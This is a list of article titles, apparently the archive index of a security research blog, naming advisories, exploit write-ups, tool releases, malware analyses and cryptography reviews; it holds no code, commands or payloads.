Constant-Time Data Processing At a Secret Offset, Privacy and QUIC * There’s Another Hole In Your SoC: Unisoc ROM Vulnerabilities * Conference Talks – September/October 2022 * SETTLERS OF NETLINK: Exploiting a limited UAF in nf_tables (CVE-2022-32250) * Writing FreeBSD Kernel Modules in Rust * NCC Con Europe 2022 – Pwn2Own Austin Presentations * Tool Release – JWT-Reauth * Back in Black: Unlocking a LockBit 3.0 Ransomware Attack * Wheel of Fortune Outcome Prediction – Taking the Luck out of Gambling * Detecting DNS implants: Old kitten, new tricks – A Saitama Case Study * Implementing the Castryck-Decru SIDH Key Recovery Attack in SageMath * Top of the Pops: Three common ransomware entry techniques * NCC Group Research at Black Hat USA 2022 and DEF CON 30 * Tool Release – insject: A Linux Namespace Injector * Technical Advisory – Multiple vulnerabilities in Nuki smart locks (CVE-2022-32509, CVE-2022-32504, CVE-2022-32502, CVE-2022-32507, CVE-2022-32503, CVE-2022-32510, CVE-2022-32506, CVE-2022-32508, CVE-2022-32505) * NIST Selects Post-Quantum Algorithms for Standardization * Climbing Mount Everest: Black-Byte Bytes Back? * Five Essential Machine Learning Security Papers * Whitepaper – Practical Attacks on Machine Learning Systems * Flubot: the evolution of a notorious Android Banking Malware * A deeper dive into CVE-2021-39137 – a Golang security bug that Rust would have prevented * Technical Advisory – ExpressLRS vulnerabilities allow for hijack of control link * Updated: Technical Advisory and Proofs of Concept – Multiple Vulnerabilities in U-Boot (CVE-2022-30790, CVE-2022-30552) * Understanding the Impact of Ransomware on Patient Outcomes – Do We Know Enough? * Public Report – Threshold ECDSA Cryptography Review * Exception Handling and Data Integrity in Salesforce * Technical Advisory – Multiple Vulnerabilities in Trendnet TEW-831DR WiFi Router (CVE-2022-30325, CVE-2022-30326, CVE-2022-30327, CVE-2022-30328, CVE-2022-30329) * Shining the Light on Black Basta * Technical Advisory – Multiple Vulnerabilities in U-Boot (CVE-2022-30790, CVE-2022-30552) * NCC Group’s Jeremy Boone recognized for Highest Quality and Most Eligible Reports through the Intel Circuit Breaker program * Conference Talks – June 2022 * Hardware Security By Design: ESP32 Guidance * Public Report – Lantern and Replica Security Assessment * NCC Group’s Juan Garrido named to Microsoft’s MSRC Office Security Researcher Leaderboard * Technical Advisory – FUJITSU CentricStor Control Center <= V8.1 – Unauthenticated Command Injection ( CVE-2022-31794 and CVE-2022-31795) * Public Report – go-cose Security Assessment * Technical Advisory – SerComm h500s – Authenticated Remote Command Execution (CVE-2021-44080) * Metastealer – filling the Racoon void * earlyremoval, in the Conservatory, with the Wrench: Exploring Ghidra’s decompiler internals to make automatic P-Code analysis scripts * Tool Release – Ghostrings * Technical Advisory – Kwikset/Weiser BLE Proximity Authentication in Kevo Smart Locks Vulnerable to Relay Attacks * Technical Advisory – Tesla BLE Phone-as-a-Key Passive Entry Vulnerable to Relay Attacks * Technical Advisory – BLE Proximity Authentication Vulnerable to Relay Attacks * Technical Advisory: Ruby on Rails – Possible XSS Vulnerability in ActionView tag helpers (CVE-2022-27777) * North Korea’s Lazarus: their initial access trade-craft using social media and social engineering * Adventures in the land of BumbleBee – a new malicious loader * LAPSUS$: Recent techniques, tactics and procedures * Real World Cryptography Conference 2022 * Mitigating the top 10 security threats to GCP using the CIS Google Cloud Platform Foundation Benchmark * A brief look at Windows telemetry: CIT aka Customer Interaction Tracker * Public Report – Google Enterprise API Security Assessment * Conti-nuation: methods and techniques observed in operations post the leaks * Whitepaper – Double Fetch Vulnerabilities in C and C++ * Mining data from Cobalt Strike beacons * Remote Code Execution on Western Digital PR4100 NAS (CVE-2022-23121) * Tool Release – ScoutSuite 5.11.0 * Technical Advisory – Apple macOS XAR – Arbitrary File Write (CVE-2022-22582) * Microsoft announces the WMIC command is being retired, Long Live PowerShell * SharkBot: a “new” generation Android banking Trojan being distributed on Google Play Store * Estimating the Bit Security of Pairing-Friendly Curves * Detecting anomalous Vectored Exception Handlers on Windows * BrokenPrint: A Netgear stack overflow * Hardware & Embedded Systems: A little early effort in security can return a huge payoff * Public Report – O(1) Labs Mina Client SDK, Signature Library and Base Components Cryptography and Implementation Review * Analyzing a PJL directory traversal vulnerability – exploiting the Lexmark MC3224i printer (part 2) * Shaking The Foundation of An Online Collaboration Tool: Microsoft 365 Top 5 Attacks vs the CIS Microsoft 365 Foundation Benchmark * Bypassing software update package encryption – extracting the Lexmark MC3224i printer firmware (part 1) * Detecting Karakurt – an extortion focused threat actor * BAT: a Fast and Small Key Encapsulation Mechanism * Testing Infrastructure-as-Code Using Dynamic Tooling * Machine Learning for Static Analysis of Malware – Expansion of Research Scope * 10 real-world stories of how we’ve compromised CI/CD pipelines * NCC Group’s 2021 Annual Research Report * On the malicious use of large language models like GPT-3 * Exploring the Security & Privacy of Canada’s Digital Proof of Vaccination Programs * Tool Update – ruby-trace: A Low-Level Tracer for Ruby * Tool Release – shouganaiyo-loader: A Tool to Force JVM Attaches * Technical Advisory – Lenovo ImController Local Privilege Escalation (CVE-2021-3922, CVE-2021-3969) * Choosing the Right MCU for Your Embedded Device — Desired Security Features of Microcontrollers * FPGAs: Security Through Obscurity? * Public Report – WhatsApp opaque-ke Cryptographic Implementation Review * log4j-jndi-be-gone: A simple mitigation for CVE-2021-44228 * Log4Shell: Reconnaissance and post exploitation network detection * Announcing NCC Group’s Cryptopals Guided Tour! * Technical Advisory – SonicWall SMA 100 Series – Unauthenticated Arbitrary File Deletion * Technical Advisory – SonicWall SMA 100 Series – Unauthenticated Stored XSS * Technical Advisory – SonicWall SMA 100 Series – Multiple Unauthenticated Heap-based and Stack-based Buffer Overflow (CVE-2021-20045) * Technical Advisory – SonicWall SMA 100 Series – Post-Authentication Remote Command Execution (CVE-2021-20044) * Technical Advisory – SonicWall SMA 100 Series – Heap-Based Buffer Overflow (CVE-2021-20043) * Technical Advisory – SonicWall SMA 100 Series – Unauthenticated File Upload Path Traversal (CVE-2021-20040) * Why IoT Security Matters * Technical Advisory – Authenticated SQL Injection in SOAP Request in Broadcom CA Network Flow Analysis (CVE-2021-44050) * Encryption Does Not Equal Invisibility – Detecting Anomalous TLS Certificates with the Half-Space-Trees Algorithm * Tracking a P2P network related to TA505 * Conference Talks – December 2021 * Public Report – Zendoo Proof Verifier Cryptography Review * An Illustrated Guide to Elliptic Curve Cryptography Validation * Exploit the Fuzz – Exploiting Vulnerabilities in 5G Core Networks * POC2021 – Pwning the Windows 10 Kernel with NTFS and WNF Slides * Technical Advisory – Multiple Vulnerabilities in Victure WR1200 WiFi Router (CVE-2021-43282, CVE-2021-43283, CVE-2021-43284) * “We wait, because we know you.” Inside the ransomware negotiation economics. * Detection Engineering for Kubernetes clusters * Vaccine Misinformation Part 1: Misinformation Attacks as a Cyber Kill Chain * Technical Advisory – Arbitrary Signature Forgery in Stark Bank ECDSA Libraries (CVE-2021-43572, CVE-2021-43570, CVE-2021-43569, CVE-2021-43568, CVE-2021-43571) * TA505 exploits SolarWinds Serv-U vulnerability (CVE-2021-35211) for initial access * Public Report – Zcash NU5 Cryptography Review * The Next C Language Standard (C23) * Conference Talks – November 2021 * Technical Advisory – Apple XAR – Arbitrary File Write (CVE-2021-30833) * Public Report – WhatsApp End-to-End Encrypted Backups Security Assessment * Cracking RDP NLA Supplied Credentials for Threat Intelligence * Detecting and Protecting when Remote Desktop Protocol (RDP) is open to the Internet * Enterprise-scale seamless onboarding and deployment of Azure Sentinel using Lighthouse for multi-tenant environments * Cracking Random Number Generators using Machine Learning – Part 2: Mersenne Twister * Cracking Random Number Generators using Machine Learning – Part 1: xorshift128 * NCC Group placed first in global 5G Cyber Security Hack competition * Paradoxical Compression with Verifiable Delay Functions * A Look At Some Real-World Obfuscation Techniques * SnapMC skips ransomware, steals data * The Challenges of Fuzzing 5G Protocols * Reverse engineering and decrypting CyberArk vault credential files * Technical Advisory – Open5GS Stack Buffer Overflow During PFCP Session Establishment on UPF (CVE-2021-41794) * Assessing the security and privacy of Vaccine Passports * Technical Advisory – NULL Pointer Derefence in McAfee Drive Encryption (CVE-2021-23893) * Conference Talks – October 2021 * Technical Advisory – Garuda Linux Insecure User Creation (CVE-2021-3784) * Detecting and Hunting for the PetitPotam NTLM Relay Attack * Technical Advisory: PDFTron JavaScript URLs Allowed in WebViewer UI (CVE-2021-39307) * Optimizing Pairing-Based Cryptography: Montgomery Multiplication in Assembly * CertPortal: Building Self-Service Secure S/MIME Provisioning Portal * NSA & CISA Kubernetes Security Guidance – A Critical Review * Technical Advisory – New York State Excelsior Pass Vaccine Passport Credential Forgery * Technical Advisory – New York State Excelsior Pass Vaccine Passport Scanner App Sends Data to a Third Party not Specified in Privacy Policy * Conference Talks – September 2021 * The ABCs of NFC chip security * CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) – Part 2 * Disabling Office Macros to Reduce Malware Infections * Some Musings on Common (eBPF) Linux Tracing Bugs * Technical Advisory: Pulse Connect Secure – RCE via Uncontrolled Archive Extraction – CVE-2021-22937 (Patch Bypass) * Technical Advisory – Sunhillo SureLine Unauthenticated OS Command Injection (CVE-2021-36380) * Practical Considerations of Right-to-Repair Legislation * Technical Advisory – ICTFAX 7-4 – Indirect Object Reference * Technical Advisory: Stored and Reflected XSS Vulnerability in Nagios Log Server (CVE-2021-35478,CVE-2021-35479) * Detecting and Hunting for the Malicious NetFilter Driver * CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) – Part 1 * NCC Group Research at Black Hat USA 2021 and DEF CON 29 * Alternative Approaches for Fault Injection Countermeasures (Part 3/3) * Software-Based Fault Injection Countermeasures (Part 2/3) * An Introduction to Fault Injection (Part 1/3) * Technical Advisory – Arbitrary File Read in Dell Wyse Management Suite (CVE-2021-21586, CVE-2021-21587) * Exploiting the Sudo Baron Samedit vulnerability (CVE-2021-3156) on VMWare vCenter Server 7.0 * Technical Advisory – Shop app sends pasteboard data to Shopify’s servers * Tool Release – Reliably-checked String Library Binding * Are you oversharing (in Salesforce)? Our new tool could sniff it out! * Exploit mitigations: keeping up with evolving and complex software/hardware * NCC Group co-signs the Electronic Frontier Foundation’s Statement on DMCA Use Against Security Researchers * Handy guide to a new Fivehands ransomware variant * On the Use of Pedersen Commitments for Confidential Payments * Incremental Machine Learning by Example: Detecting Suspicious Activity with Zeek Data Streams, River, and JA3 Hashes * Testing Two-Factor Authentication * Optimizing Pairing-Based Cryptography: Montgomery Arithmetic in Rust * Research Paper – Machine Learning for Static Malware Analysis, with University College London * Conference Talks – June 2021 * Public Report – Protocol Labs Groth16 Proof Aggregation: Cryptography and Implementation Review * iOS User Enrollment and Trusted Certificates * Detecting Rclone – An Effective Tool for Exfiltration * Supply Chain Security Begins with Secure Software Development * Toxic Tokens: Using UUIDs for Authorization is Dangerous (even if they’re cryptographically random) * Public Report – Dell Secured Component Verification * RM3 – Curiosities of the wildest banking malware * Conference Talks – May 2021 * A Census of Deployed Pulse Connect Secure (PCS) Versions * NCC Group’s Upcoming Trainings at Black Hat USA 2021 * Public Report – VPN by Google One: Technical Security & Privacy Assessment * Technical Advisory – ParcelTrack sends all pasteboard data to ParcelTrack’s servers on startup * Tool Release – Principal Mapper v1.1.0 Update * SAML XML Injection * The Future of C Code Review * RIFT: Detection capabilities for recent F5 BIG-IP/BIG-IQ iControl REST API vulnerabilities CVE-2021-22986 * Tool Release – Solitude: A privacy analysis tool * Deception Engineering: exploring the use of Windows Installer Packages against first stage payloads * Lending a hand to the community – Covenant v0.7 Updates * Technical Advisory: Dell SupportAssist Local Privilege Escalation (CVE-2021-21518) * Technical Advisory – Multiple Vulnerabilities in Netgear ProSAFE Plus JGS516PE / GS116Ev2 Switches * Deception Engineering: exploring the use of Windows Service Canaries against ransomware * Wubes: Leveraging the Windows 10 Sandbox for Arbitrary Processes * Technical Advisory: Administrative Passcode Recovery and Authenticated Remote Buffer Overflow Vulnerabilities in Gigaset DX600A Handset (CVE-2021-25309, CVE-2021-25306) * Cryptopals: Exploiting CBC Padding Oracles * Investigating Potential Security Vulnerability Manifestation through Various Analyses & Inferences Regarding Internet RFCs (and how RFC Security might be Improved) * NCC Group’s 2020 Annual Research Report * Conference Talks – February/March 2021 * Software Verification and Analysis Using Z3 * Technical Advisory – Linksys WRT160NL – Authenticated Command Injection (CVE-2021-25310) * Real World Cryptography Conference 2021: A Virtual Experience * RIFT: Analysing a Lazarus Shellcode Execution Method * MSSQL Lateral Movement * Public Report – BLST Cryptographic Implementation Review * Sign over Your Hashes – Stealing NetNTLM Hashes via Outlook Signatures * Abusing cloud services to fly under the radar * Building an RDP Credential Catcher for Threat Intelligence * Double-odd Elliptic Curves * Using AWS and Azure for Cost Effective Log Ingestion with Data Processing Pipelines for SIEMs * Domestic IoT Nightmares: Smart Doorbells * Technical Advisory: OS Command Injection in Silver Peak EdgeConnect Appliances (CVE-2020-12148, CVE-2020-12149) * Helping Engineering Teams Tackle Security Debt in Embedded Systems: U-Boot Configuration Auditing Introduced in Depthcharge v0.2.0 * An Adventure in Contingency Debugging: Ruby IO#read/IO#write Considered Harmful * ABSTRACT SHIMMER (CVE-2020-15257): Host Networking is root-Equivalent, Again * Tool Release – HTTPSignatures: A Burp Suite Extension Implementing HTTP Signatures * ICS/OT Security & the evolution of the Purdue Model: Integrating Industrial and Business Networks * Tool Release – Carnivore: Microsoft External Assessment Tool * Technical Advisory: containerd – containerd-shim API Exposed to Host Network Containers (CVE-2020-15257) * Conference Talks – December 2020 * TA505: A Brief History Of Their Time * Decrypting OpenSSH sessions for fun and profit * Past, Present and Future of Effective C * Technical Advisory: SQL Injection and Reflected Cross-Site Scripting (XSS) Vulnerabilities in Oracle Communications Diameter Signaling Router (CVE-2020-14787, CVE-2020-14788) * Technical Advisory: Command Injection * Conference Talks – November 2020 * Technical Advisory: Pulse Connect Secure – Arbitrary File Read via Logon Message (CVE-2020-8255) * Technical Advisory: Pulse Connect Secure – RCE via Uncontrolled Gzip Extraction (CVE-2020-8260) * Technical Advisory – Jitsi Meet Electron – Arbitrary Client Remote Code Execution (CVE-2020-27162) * Technical Advisory – Jitsi Meet Electron – Limited Certificate Validation Bypass (CVE-2020-27161) * Public Report – Filecoin Bellman and BLS Signatures Cryptographic Review * Technical Advisory – Linksys WRT160NL – Authenticated Remote Buffer Overflow (CVE-2020-26561) * There’s A Hole In Your SoC: Glitching The MediaTek BootROM * RIFT: F5 CVE-2020-5902 and Citrix CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196 honeypot data release * Technical Advisory – Pulse Connect Secure – RCE via Template Injection (CVE-2020-8243) * Tool – Windows Executable Memory Page Delta Reporter * Salesforce Security with Remote Working * Tool Release – ScoutSuite 5.10 * Conference Talks – October 2020 * Tool Release – ICPin, an integrity-check and anti-debug detection pintool * Faster Modular Inversion and Legendre Symbol, and an X25519 Speed Record * Technical Advisory – Lansweeper Privilege Escalation via CSRF Using HTTP Method Interchange (CVE-2020-13658) * Online Casino Roulette – A guideline for penetration testers and security researchers * Extending a Thinkst Canary to become an interactive honeypot * StreamDivert: Relaying (specific) network connections * Public Report – Electric Coin Company NU4 Cryptographic Specification and Implementation Review * Machine learning from idea to reality: a PowerShell case study * Conference Talks – September 2020 * Whitepaper – Exploring the Security of KaiOS Mobile Applications * Technical Advisory – wolfSSL TLS 1.3 Client Man-in-the-Middle Attack (CVE-2020-24613) * Technical Advisory – Multiple HTML Injection Vulnerabilities in KaiOS Pre-installed Mobile Applications * Technical Advisory – FreePBX – Multiple Authenticated SQL Injections in UCP application * Immortalising 20 Years of Epic Research * Pairing over BLS12-381, Part 3: Pairing! * Public Report – Pixel 4/4XL and Pixel 4a ioXt Audit * NCC Group researchers named amongst MSRC’s Most Valuable Security Researchers in 2020 * Lights, Camera, HACKED! An insight into the world of popular IP Cameras * Conference Talks – August 2020 * Tool Release – Winstrument: An Instrumentation Framework for Windows Application Assessments * Tool Release: Sinking U-Boots with Depthcharge * Technical Advisory: Heartbleed chained with a Pass-the-Hash attack leads to device compromise on TP-Link C200 IP Camera * Public Report – Qredo Apache Milagro MPC Cryptographic Assessment * Pairing over BLS12-381, Part 2: Curves * Understanding the root cause of F5 Networks K52145254: TMUI RCE vulnerability CVE-2020-5902 * RIFT: Citrix ADC Vulnerabilities CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196 Intelligence * An offensive guide to the Authorization Code grant * Technical Advisory – KwikTag Web Admin Authentication Bypass * Pairing over BLS12-381, Part 1: Fields * RIFT: F5 Networks K52145254: TMUI RCE vulnerability CVE-2020-5902 Intelligence * Experiments in Extending Thinkst Canary – Part 1 * Tool Release – ScoutSuite 5.9.0 * Technical Advisory – macOS Installer Local Root Privilege Escalation (CVE-2020-9817) * Paper: Thematic for Success in Real-World Offensive Cyber Operations – How to make threat actors work harder and fail more often * How-to: Importing WStalker CSV (and more) into Burp Suite via Import to Sitemap Extension * Tool: WStalker – an easy proxy to support Web API assessments * Security Considerations of zk-SNARK Parameter Multi-Party Computation * WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group * Tool Release – Socks Over RDP Now Works With Citrix * Striking Back at Retired Cobalt Strike: A look at a legacy vulnerability * Technical Advisory – ARM MbedOS USB Mass Storage Driver Memory Corruption * Cyber Security of New Space Paper * In-depth analysis of the new Team9 malware family * Common Insecure Practices with Configuring and Extending Salesforce * Exploring DeepFake Capabilities & Mitigation Strategies with University College London * Game Security * Exploring macOS Calendar Alerts: Part 2 – Exfiltrating data (CVE-2020-3882) * Research Report – Zephyr and MCUboot Security Assessment * CVE-2018-8611 Exploiting Windows KTM Part 5/5 – Vulnerability detection and a better read/write primitive * CVE-2018-8611 Exploiting Windows KTM Part 4/5 – From race win to kernel read and write primitive * Using SharePoint as a Phishing Platform * Public Report – Coda Cryptographic Review * Shell Arithmetic Expansion and Evaluation Abuse * CVE-2018-8611 Exploiting Windows KTM Part 3/5 – Triggering the race condition and debugging tricks * Tool Release – Socks Over RDP * Exploring macOS Calendar Alerts: Part 1 – Attempting to execute code * CVE-2018-8611 Exploiting Windows KTM Part 2/5 – Patch analysis and basic triggering * Practical Machine Learning for Random (Filename) Detection * Curve9767 and Fast Signature Verification * CVE-2018-8611 Exploiting Windows KTM Part 1/5 – Introduction * The Extended AWS Security Ramp-Up Guide * Code Patterns for API Authorization: Designing for Security * Order Details Screens and PII * How cryptography is used to monitor the spread of COVID-19 * Rise of the Sensors: Securing LoRaWAN Networks * C Language Standards Update – Zero-size Reallocations are Undefined Behavior * IETF Draft: Indicators of Compromise and Their Role in Attack and Defen[c|s]e * Exploring Verifiable Random Functions in Code * Crave the Data: Statistics from 1,300 Phishing Campaigns * Impact of DNS over HTTPS (DoH) on DNS Rebinding Attacks * Tool Release – ScoutSuite 5.8.0 * Whitepaper – Coinbugs: Enumerating Common Blockchain Implementation-Level Vulnerabilities * Smart Contracts Inside SGX Enclaves: Common Security Bug Patterns * LDAPFragger: Bypassing network restrictions using LDAP attributes * Threat Actors: exploiting the pandemic * A Survey of Istio’s Network Security Features * Conference Talks – March 2020 * Public Report – RustCrypto AES/GCM and ChaCha20+Poly1305 Implementation Review * Reviewing Verifiable Random Functions * CVE-2018-8611 – Diving into the Windows Kernel Transaction Manager (KTM) for fun and exploitation * Whitepaper – Microcontroller Readback Protection: Bypasses and Defenses * Improving Software Security through C Language Standards * Whitepaper – A Tour of Curve 25519 in Erlang * Deep Dive into Real-World Kubernetes Threats * Technical Advisory – playSMS Pre-Authentication Remote Code Execution (CVE-2020-8644) * Interfaces.d to RCE * Properly Signed Certificates on CPE Devices * Conference Talks – February 2020 * Tool Release – Collaborator++ * Public Report – Electric Coin Company NU3 Specification and Blossom Implementation Audit * Tool Release – Enumerating Docker Registries with go-pillage-registries * Conference Talks – January 2020 * Passive Decryption of Ethereum Peer-to-Peer Traffic * On Linux’s Random Number Generation * Demystifying AWS’ AssumeRole and sts:ExternalId * Welcome to the new NCC Group Global Research blog * Technical Advisory: Gaining root access on Sumpple S610 IP Camera via Telnet; and Unprotected client and server data transmission between Android and IOS clients * Security impact of IoT on the Enterprise * Secure Device Provisioning Best Practices: Heavy Truck Edition * CVE-2019-1405 and CVE-2019-1322 – Elevation to SYSTEM via the UPnP Device Host Service and the Update Orchestrator Service * Padding the struct: How a compiler optimization can disclose stack memory * Embedded Device Security Certifications * An Introduction to Ultrasound Security Research * PhanTap (Phantom Tap): Making networks spookier one packet at a time * An Introduction to Quantum Computing for Security Professionals * Sniffle: A Sniffer for Bluetooth 5 * Compromising a Hospital Network for £118 (Plus Postage & Packaging) * Getting Shell with XAMLX Files * Kerberos Resource-Based Constrained Delegation: When an Image Change Leads to a Privilege Escalation * Technical Advisory: CyberArk EPM Non-paged Pool Buffer Overflow * Technical Advisory: Unauthenticated SQL Injection in Lansweeper * Jenkins Plugins and Core Technical Summary Advisory * Technical Advisory: Multiple Vulnerabilities in Ricoh Printers * Technical Advisory: Multiple Vulnerabilities in Brother Printers * Technical Advisory: Multiple Vulnerabilities in Xerox Printers * Technical Advisory: Multiple Vulnerabilities in Kyocera Printers * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 10: Efficacy Demonstration, Project Conclusion and Next Steps * Technical Advisory: Multiple Vulnerabilities in HP Printers * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 9: Adventures with Expert Systems * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 8: Development of Prototype #4 – Building on Takaesu’s Approach with Focus on XSS * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 7: Development of Prototype #3 – Adventures in Anomaly Detection * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 6: Development of Prototype #2 – Creating a SQLi PoC * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 5: Development of Prototype #1 – Text Processing and Semantic Relationships * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 4: Architecture and Design * Technical Advisory – Authorization Bypass Allows for Pinboard Corruption * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 3: Understanding Existing Approaches and Attempts * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 2: Going off on a Tangent – AI/ML Applications in Social Engineering * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 1: Understanding the Basics and What Platforms and Frameworks Are Available * Technical Advisory: Multiple Vulnerabilities in Lexmark Printers * Technical Advisory: Intel Driver Support & Assistance – Local Privilege Escalation * Technical Advisory: Citrix Workspace / Receiver Remote Code Execution Vulnerability * The Sorry State of Aftermarket Head Unit Security * Cyber Security in UK Agriculture * NCC Group Connected Health Whitepaper July 2019 * Story of a Hundred Vulnerable Jenkins Plugins * Whitepaper – Hardware-Backed Heist: Extracting ECDSA Keys from Qualcomm’s TrustZone * Technical Advisory: Multiple Vulnerabilities in SmarterMail * Technical Advisory – DelTek Vision – Arbitrary SQL Execution (SQLi) * eBPF Adventures: Fiddling with the Linux Kernel and Unix Domain Sockets * Chafer backdoor analysis * Finding and Exploiting .NET Remoting over HTTP using Deserialisation * Technical Advisory: Multiple Vulnerabilities in MailEnable * Assessing Unikernel Security * Technical Advisory: IP Office Stored Cross Site Scripting (XSS) Vulnerability * Zcash Overwinter Consensus and Sapling Cryptography Review * Xendbg: A Full-Featured Debugger for the Xen Hypervisor * Use of Deserialisation in .NET Framework Methods and Classes * Owning the Virgin Media Hub 3.0: The perfect place for a backdoor * Nine years of bugs at NCC Group * The 9 Lives of Bleichenbacher’s CAT: New Cache ATtacks on TLS Implementations * Third party assurance * Turla PNG Dropper is back * Public cloud * Android Cloud Backup/Restore * Spectre on a Television * RokRat Analysis * Technical Advisory: SMB Hash Hijacking and User Tracking in MS Outlook * Technical Advisory: Authentication Bypass in libSSH * Securing Google Cloud Platform – Ten best practices * Public Report – Android Cloud Backup/Restore * Much Ado About Hardware Implants * NCC Group’s Exploit Development Capability: Why and What * Technical Advisory: Bypassing Workflows Protection Mechanisms – Remote Code Execution on SharePoint * Technical Advisory: Mosquitto Broker DoS through a Memory Leak vulnerability * Improving Your Embedded Linux Security Posture With Yocto * How I did not get a shell * Technical Advisory: Mitel MiVoice 5330e Memory Corruption Flaw * Singularity of Origin * Proxy Re-Encryption Protocol: IronCore Public Report * Technical Advisory: Bypassing Microsoft XOML Workflows Protection Mechanisms using Deserialisation of Untrusted Data * Celebrating NCC Con Europe 2018 * The disadvantages of a blacklist-based approach to input validation * Securing Teradata Database * Technical Advisory: Unauthenticated Remote Command Execution through Multiple Vulnerabilities in Virgin Media Hub 3.0 * Ethics in Security Testing * Freddy: An extension for automatically identifying deserialisation issues in Java and .NET applications * Sobelow Update * House * Principal Mapper (pmapper) * Return of the hidden number problem * Technical advisory: “ROHNP”- key extraction side channel in multiple crypto libraries * CVE-2017-8570 RTF and the Sisfader RAT * Mallory: Transparent TCP and UDP Proxy * Mallory and Me: Setting up a Mobile Mallory Gateway * CyberVillainsCA * DECTbeacon * Fuzzbox * Gizmo * HTTP Profiler * Intent Sniffer * Intent Fuzzer * iSEC Partners Releases SSLyze * Jailbreak * Manifest Explorer * Package Play * ProxMon * pySimReader * SAML Pummel * SecureBigIP * SecureCisco * SecureCookies * SecureIE.ActiveX * WebRATS * AWS Inventory: A tool for mapping AWS resources * Extractor * CMakerer: A small tool to aid CLion’s indexing * Emissary Panda – A potential new malicious tool * SMB hash hijacking & user tracking in MS Outlook * Testing HTTP/2 only web services * Windows IPC Fuzzing Tools * WSBang * WSMap * Nerve * Ragweed * File Fuzzers * Kivlad * Android SSL Bypass * Hiccupy * iOS SSL Killswitch * The SSL Conservatory * TLSPretense — SSL/TLS Client Testing Framework * tcpprox * YoNTMA * Tattler * PeachFarmer * Android-KillPermAndSigChecks * Android-OpenDebug * Android-SSL-TrustKiller * Introspy for Android * RtspFuzzer * SSLyze v0.8 * NCLoader * IG Learner Walkthrough * Forensic Fuzzing Tools * Security First Umbrella * Autochrome * WSSiP: A Websocket Manipulation Proxy * AssetHook * Call Map: A Tool for Navigating Call Graphs in Python * Sobelow: Static analysis for the Phoenix Framework * G-Scout * Decoder Improved Burp Suite Plugin * Python Class Informer: an IDAPython plugin for viewing run-time type information (RTTI) * AutoRepeater: Automated HTTP Request Repeating With Burp Suite * Open Banking: Security considerations & potential risks * scenester * port-scan-automation * Windows DACL Enum Project * umap * Shocker * Zulu * whitebox * vlan-hopping * tybocer * xcavator * WindowsJobLock * Azucar * Introducing Azucar * Readable Thrift * Decoding network data from a Gh0st RAT variant * Technical Advisory: Multiple Vulnerabilities in ManageEngine Desktop Central * Discovering Smart Contract Vulnerabilities with GOATCasino * BLEBoy * APT15 is Alive and Strong: An Analysis of RoyalCli and RoyalDNS * TPM Genie: Interposer Attacks Against the Trusted Platform Module Serial Bus * Technical Advisory: Code Execution by Unsafe Resource Handling in Multiple Microsoft Products * Technical Advisory: Code Execution by Viewing Resource Files in .NET Reflector * Technical Advisory: Reflected Cross-Site Scripting (XSS) vulnerability in Jenkins Delivery Pipeline plugin * Spectre and Meltdown: What you Need to Know * The economics of defensive security * HIDDEN COBRA Volgmer: A Technical Analysis * Integrity destroying malicious code for financial or geopolitical gain: A vision of the future? * Kubernetes Security: Consider Your Threat Model * Mobile & web browser credential management: Security implications, attack cases & mitigations * SOC maturity & capability * Automated Reverse Engineering of Relationships Between Data Structures in C++ Binaries * Pointer Sequence Reverser (PSR) * Cisco ASA series part eight: Exploiting the CVE-2016-1287 heap overflow over IKEv1 * Bypassing Android’s Network Security Configuration * Technical Advisory – Bomgar Remote Support – Local Privilege Escalation * Cisco ASA series part seven: Checkheaps * Adversarial Machine Learning: Approaches & defences * eBook: Breach notification under GDPR – How to communicate a personal data breach * Cisco ASA series part six: Cisco ASA mempools * The Update Framework (TUF) Security Assessment * Cisco ASA series part five: libptmalloc gdb plugin * Technical Advisory: Adobe ColdFusion RMI Registry.bind() Deserialisation RCE * Technical Advisory: Adobe ColdFusion Object Deserialisation RCE * Cisco ASA series part four: dlmalloc-2.8.x, libdlmalloc, & dlmalloc on Cisco ASA * Decoder Improved Burp Suite plugin release part two * Cisco ASA series part three: Debugging Cisco ASA firmware * Managing PowerShell in a modern corporate environment * Cisco ASA series part two: Static analysis & datamining of Cisco ASA firmware * Cisco ASA series part one: Intro to the Cisco ASA * EternalGlue part one: Rebuilding NotPetya to assess real-world resilience * Technical Advisory: Authentication rule bypass * Technical Advisory – play-pac4j Authentication rule bypass * Decoder Improved Burp Suite plugin release part one * Technical advisory: Remote shell commands execution in ttyd * Poison Ivy string decryption * Securing the continuous integration process * Signaturing an Authenticode anomaly with Yara * Analysing a recent Poison Ivy sample * Endpoint connectivity * DeLux Edition: Getting root privileges on the eLux Thin Client OS * UK government cyber security guidelines for connected & autonomous vehicles * Smuggling HTA files in Internet Explorer/Edge * Database Security Brief: The Oracle Critical Patch Update for April 2007 * Buffer Underruns, DEP, ASLR and improving the Exploitation Prevention Mechanisms (XPMs) on the Windows platform * Data-mining with SQL Injection and Inference * The Pharming Guide – Understanding and preventing DNS related attacks by phishers * Weak Randomness Part I – Linear Congruential Random Number Generators * Exploiting PL/SQL Injection Flaws with only CREATE SESSION Privileges * Blind Exploitation of Stack Overflow Vulnerabilities * Slotting Security into Corporate Development * Creating Arbitrary Shellcode In Unicode Expanded Strings * Violating Database – Enforced Security Mechanisms * Hacking the Extensible Firmware Interface * Advanced Exploitation of Oracle PL/SQL Flaws * Firmware Rootkits: The Threat to the Enterprise * Database Security: A Christmas Carol * Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server * Non-flood/non-volumetric Distributed Denial of Service (DDoS) * VoIP Security Methodology and Results * E-mail Spoofing and CDONTS.NEWMAIL * Dangling Cursor Snarfing: A New Class of Attack in Oracle * Database Servers on Windows XP and the unintended consequences of simple file sharing * DNS Pinning and Web Proxies * Technical advisory: CVE-2017-8592 – 